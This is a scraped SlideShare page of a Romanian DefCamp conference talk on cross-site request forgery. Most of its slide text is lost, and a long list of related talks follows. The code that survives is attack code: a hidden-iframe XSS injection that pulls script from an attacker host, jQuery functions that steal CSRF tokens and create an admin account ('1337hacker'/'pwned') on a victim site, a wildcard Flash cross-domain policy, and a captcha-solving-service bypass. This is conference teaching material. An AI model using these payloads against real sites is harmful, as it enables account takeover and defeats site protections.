SlideShare uma empresa Scribd logo

Cross Site Request Forgery Attacks

•Transferir como PPT, PDF•
•
DefCamp
DefCamp
Tecnologia
1 de 18
Cross Site Request Forgery Attacks Security token bypass Captcha bypass Presented by Vlad Horatiu [email_address]
Ce este CSRF
Context ,[object Object],[object Object],[object Object]
Principiul de baza ,[object Object],[object Object]
De ce avem nevoie de XSS? ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Initierea atacului ,[object Object],<html> <iframe src=&quot;http://victimsite.com/index.php?xss=<script>document.write('<iframe src=apos;http://attackerapos;);</script>&quot; width=&quot;50&quot; height = &quot;50&quot; style=&quot;filter: alpha(opacity=0);-moz-opacity:0;opacity: .0;&quot;> </iframe> </html>
Login check function check() { $.get(&quot;login.html&quot;, function(data){ if(data.indexOf('blanaa') != -1) { var logged = tryToLogin(); } else { var logged = true; } }); }; function tryToLogin() { $.get(&quot;login.html&quot;, function(data){ $('#form_frame').contents().find('form').submit(); return (data.indexOf('blanaa') != -1); }); }
Token bypass ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Token bypass ,[object Object],function addAdmin() { $.get(&quot;http://victimsite.com/admin/add_user.php&quot;, function(data){ var token = getBetween('&token=', '&', data); alert(token); $.get(&quot;http://victimsite.com/admin/add_user_success.php?user=1337hacker&pass=pwned&token&quot;+token, function(data){ }); }); }; function getBetween(lft, rgt, string) { var split = ''; split = string.split('&token='); split = split[1]; split = split.split('&'); split = split[0]; return split; }
Token bypass ,[object Object],function addAdmin() { $.get(&quot;http://victimsite.com/admin/add_user.php&quot;, function(data){ var token = getBetween(&quot;type=amp;quot;hiddenamp;quot; name=amp;quot;tokenamp;quot; value=amp;quot;&quot;, &quot;amp;quot;&quot;, data); $.post(&quot;http://victimsite.com/admin/add_user.php&quot;, { user: &quot;1337hacker&quot;, pass: &quot;pwned&quot;, token: token }, function(data) {}) }); }; function getBetween(lft, rgt, string) { var split = ''; split = string.split('&token='); split = split[1]; split = split.split('&'); split = split[0]; return split; }
Token bypass ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Token bypass ,[object Object],[object Object]
Flash Cross-domain policy ,[object Object],[object Object],[object Object],<cross-domain-policy> <allow-access-from domain=&quot;*&quot;/> </cross-domain-policy>
Captcha bypass ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Captcha bypass ,[object Object],$rand = sha1(mt_rand(1000000, 9999999).microtime(true)); if(isset($_GET['path']))   file_put_contents($rand.'.jpg', file_get_contents($_GET['path'])); if ($captcha = $client->upload($rand.'.jpg')) {     echo &quot;CAPTCHA {$captcha['captcha']} uploaded&quot;;     sleep(DeathByCaptcha_Client::DEFAULT_TIMEOUT);     if ($text = $client->get_text($captcha['captcha'])) {         echo $text;         } else {         $client->remove($captcha['captcha']);     echo '0';     } }
Captcha bypass ,[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]
Exemple concrete ,[object Object],[object Object]
Intrebari

Recomendados

Analiza si evolutia vulnerabilitatilor web
Analiza si evolutia vulnerabilitatilor webAnaliza si evolutia vulnerabilitatilor web
Analiza si evolutia vulnerabilitatilor web
DefCamp
 
Securitatea in secolul 21
Securitatea in secolul 21Securitatea in secolul 21
Securitatea in secolul 21
DefCamp
 
Advanced data mining in my sql injections using subqueries and custom variables
Advanced data mining in my sql injections using subqueries and custom variablesAdvanced data mining in my sql injections using subqueries and custom variables
Advanced data mining in my sql injections using subqueries and custom variables
DefCamp
 
Social Engineering - DefCamp 2012
Social Engineering - DefCamp 2012Social Engineering - DefCamp 2012
Social Engineering - DefCamp 2012
DefCamp
 
Vulnerabilitati 0-day in software de larg interes
Vulnerabilitati 0-day in software de larg interesVulnerabilitati 0-day in software de larg interes
Vulnerabilitati 0-day in software de larg interes
DefCamp
 
Formatul Portable Executable
Formatul Portable Executable Formatul Portable Executable
Formatul Portable Executable
DefCamp
 
Defcamp 2013 - SSL Ripper
Defcamp 2013 - SSL RipperDefcamp 2013 - SSL Ripper
Defcamp 2013 - SSL Ripper
DefCamp
 
The importance of logs - DefCamp 2012
The importance of logs - DefCamp 2012The importance of logs - DefCamp 2012
The importance of logs - DefCamp 2012
DefCamp
 

Recomendados

Analiza si evolutia vulnerabilitatilor web
Analiza si evolutia vulnerabilitatilor webAnaliza si evolutia vulnerabilitatilor web
Analiza si evolutia vulnerabilitatilor web
DefCamp
 
Securitatea in secolul 21
Securitatea in secolul 21Securitatea in secolul 21
Securitatea in secolul 21
DefCamp
 
Advanced data mining in my sql injections using subqueries and custom variables
Advanced data mining in my sql injections using subqueries and custom variablesAdvanced data mining in my sql injections using subqueries and custom variables
Advanced data mining in my sql injections using subqueries and custom variables
DefCamp
 
Social Engineering - DefCamp 2012
Social Engineering - DefCamp 2012Social Engineering - DefCamp 2012
Social Engineering - DefCamp 2012
DefCamp
 
Vulnerabilitati 0-day in software de larg interes
Vulnerabilitati 0-day in software de larg interesVulnerabilitati 0-day in software de larg interes
Vulnerabilitati 0-day in software de larg interes
DefCamp
 
Formatul Portable Executable
Formatul Portable Executable Formatul Portable Executable
Formatul Portable Executable
DefCamp
 
Defcamp 2013 - SSL Ripper
Defcamp 2013 - SSL RipperDefcamp 2013 - SSL Ripper
Defcamp 2013 - SSL Ripper
DefCamp
 
The importance of logs - DefCamp 2012
The importance of logs - DefCamp 2012The importance of logs - DefCamp 2012
The importance of logs - DefCamp 2012
DefCamp
 
Remote Yacht Hacking
Remote Yacht HackingRemote Yacht Hacking
Remote Yacht Hacking
DefCamp
 
Mobile, IoT, Clouds… It’s time to hire your own risk manager!
Mobile, IoT, Clouds… It’s time to hire your own risk manager!Mobile, IoT, Clouds… It’s time to hire your own risk manager!
Mobile, IoT, Clouds… It’s time to hire your own risk manager!
DefCamp
 
The Charter of Trust
The Charter of TrustThe Charter of Trust
The Charter of Trust
DefCamp
 
Internet Balkanization: Why Are We Raising Borders Online?
Internet Balkanization: Why Are We Raising Borders Online?Internet Balkanization: Why Are We Raising Borders Online?
Internet Balkanization: Why Are We Raising Borders Online?
DefCamp
 
Bridging the gap between CyberSecurity R&D and UX
Bridging the gap between CyberSecurity R&D and UXBridging the gap between CyberSecurity R&D and UX
Bridging the gap between CyberSecurity R&D and UX
DefCamp
 
Secure and privacy-preserving data transmission and processing using homomorp...
Secure and privacy-preserving data transmission and processing using homomorp...Secure and privacy-preserving data transmission and processing using homomorp...
Secure and privacy-preserving data transmission and processing using homomorp...
DefCamp
 
Drupalgeddon 2 – Yet Another Weapon for the Attacker
Drupalgeddon 2 – Yet Another Weapon for the AttackerDrupalgeddon 2 – Yet Another Weapon for the Attacker
Drupalgeddon 2 – Yet Another Weapon for the Attacker
DefCamp
 
Economical Denial of Sustainability in the Cloud (EDOS)
Economical Denial of Sustainability in the Cloud (EDOS)Economical Denial of Sustainability in the Cloud (EDOS)
Economical Denial of Sustainability in the Cloud (EDOS)
DefCamp
 
Trust, but verify – Bypassing MFA
Trust, but verify – Bypassing MFATrust, but verify – Bypassing MFA
Trust, but verify – Bypassing MFA
DefCamp
 
Threat Hunting: From Platitudes to Practical Application
Threat Hunting: From Platitudes to Practical ApplicationThreat Hunting: From Platitudes to Practical Application
Threat Hunting: From Platitudes to Practical Application
DefCamp
 
Building application security with 0 money down
Building application security with 0 money downBuilding application security with 0 money down
Building application security with 0 money down
DefCamp
 
Implementation of information security techniques on modern android based Kio...
Implementation of information security techniques on modern android based Kio...Implementation of information security techniques on modern android based Kio...
Implementation of information security techniques on modern android based Kio...
DefCamp
 
Lattice based Merkle for post-quantum epoch
Lattice based Merkle for post-quantum epochLattice based Merkle for post-quantum epoch
Lattice based Merkle for post-quantum epoch
DefCamp
 
The challenge of building a secure and safe digital environment in healthcare
The challenge of building a secure and safe digital environment in healthcareThe challenge of building a secure and safe digital environment in healthcare
The challenge of building a secure and safe digital environment in healthcare
DefCamp
 
Timing attacks against web applications: Are they still practical?
Timing attacks against web applications: Are they still practical?Timing attacks against web applications: Are they still practical?
Timing attacks against web applications: Are they still practical?
DefCamp
 
Tor .onions: The Good, The Rotten and The Misconfigured
Tor .onions: The Good, The Rotten and The Misconfigured Tor .onions: The Good, The Rotten and The Misconfigured
Tor .onions: The Good, The Rotten and The Misconfigured
DefCamp
 
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
DefCamp
 
We will charge you. How to [b]reach vendor’s network using EV charging station.
We will charge you. How to [b]reach vendor’s network using EV charging station.We will charge you. How to [b]reach vendor’s network using EV charging station.
We will charge you. How to [b]reach vendor’s network using EV charging station.
DefCamp
 
Connect & Inspire Cyber Security
Connect & Inspire Cyber SecurityConnect & Inspire Cyber Security
Connect & Inspire Cyber Security
DefCamp
 
The lions and the watering hole
The lions and the watering holeThe lions and the watering hole
The lions and the watering hole
DefCamp
 

Mais conteúdo relacionado

Mais de DefCamp

Mais de DefCamp (20)

Remote Yacht Hacking
Remote Yacht HackingRemote Yacht Hacking
Remote Yacht Hacking
 
Mobile, IoT, Clouds… It’s time to hire your own risk manager!
Mobile, IoT, Clouds… It’s time to hire your own risk manager!Mobile, IoT, Clouds… It’s time to hire your own risk manager!
Mobile, IoT, Clouds… It’s time to hire your own risk manager!
 
The Charter of Trust
The Charter of TrustThe Charter of Trust
The Charter of Trust
 
Internet Balkanization: Why Are We Raising Borders Online?
Internet Balkanization: Why Are We Raising Borders Online?Internet Balkanization: Why Are We Raising Borders Online?
Internet Balkanization: Why Are We Raising Borders Online?
 
Bridging the gap between CyberSecurity R&D and UX
Bridging the gap between CyberSecurity R&D and UXBridging the gap between CyberSecurity R&D and UX
Bridging the gap between CyberSecurity R&D and UX
 
Secure and privacy-preserving data transmission and processing using homomorp...
Secure and privacy-preserving data transmission and processing using homomorp...Secure and privacy-preserving data transmission and processing using homomorp...
Secure and privacy-preserving data transmission and processing using homomorp...
 
Drupalgeddon 2 – Yet Another Weapon for the Attacker
Drupalgeddon 2 – Yet Another Weapon for the AttackerDrupalgeddon 2 – Yet Another Weapon for the Attacker
Drupalgeddon 2 – Yet Another Weapon for the Attacker
 
Economical Denial of Sustainability in the Cloud (EDOS)
Economical Denial of Sustainability in the Cloud (EDOS)Economical Denial of Sustainability in the Cloud (EDOS)
Economical Denial of Sustainability in the Cloud (EDOS)
 
Trust, but verify – Bypassing MFA
Trust, but verify – Bypassing MFATrust, but verify – Bypassing MFA
Trust, but verify – Bypassing MFA
 
Threat Hunting: From Platitudes to Practical Application
Threat Hunting: From Platitudes to Practical ApplicationThreat Hunting: From Platitudes to Practical Application
Threat Hunting: From Platitudes to Practical Application
 
Building application security with 0 money down
Building application security with 0 money downBuilding application security with 0 money down
Building application security with 0 money down
 
Implementation of information security techniques on modern android based Kio...
Implementation of information security techniques on modern android based Kio...Implementation of information security techniques on modern android based Kio...
Implementation of information security techniques on modern android based Kio...
 
Lattice based Merkle for post-quantum epoch
Lattice based Merkle for post-quantum epochLattice based Merkle for post-quantum epoch
Lattice based Merkle for post-quantum epoch
 
The challenge of building a secure and safe digital environment in healthcare
The challenge of building a secure and safe digital environment in healthcareThe challenge of building a secure and safe digital environment in healthcare
The challenge of building a secure and safe digital environment in healthcare
 
Timing attacks against web applications: Are they still practical?
Timing attacks against web applications: Are they still practical?Timing attacks against web applications: Are they still practical?
Timing attacks against web applications: Are they still practical?
 
Tor .onions: The Good, The Rotten and The Misconfigured
Tor .onions: The Good, The Rotten and The Misconfigured Tor .onions: The Good, The Rotten and The Misconfigured
Tor .onions: The Good, The Rotten and The Misconfigured
 
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
Needles, Haystacks and Algorithms: Using Machine Learning to detect complex t...
 
We will charge you. How to [b]reach vendor’s network using EV charging station.
We will charge you. How to [b]reach vendor’s network using EV charging station.We will charge you. How to [b]reach vendor’s network using EV charging station.
We will charge you. How to [b]reach vendor’s network using EV charging station.
 
Connect & Inspire Cyber Security
Connect & Inspire Cyber SecurityConnect & Inspire Cyber Security
Connect & Inspire Cyber Security
 
The lions and the watering hole
The lions and the watering holeThe lions and the watering hole
The lions and the watering hole
 

Cross Site Request Forgery Attacks

  • 1. Cross Site Request Forgery Attacks Security token bypass Captcha bypass Presented by Vlad Horatiu [email_address]
  • 3.
  • 4.
  • 5.
  • 6.
  • 7. Login check function check() { $.get(&quot;login.html&quot;, function(data){ if(data.indexOf('blanaa') != -1) { var logged = tryToLogin(); } else { var logged = true; } }); }; function tryToLogin() { $.get(&quot;login.html&quot;, function(data){ $('#form_frame').contents().find('form').submit(); return (data.indexOf('blanaa') != -1); }); }
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17.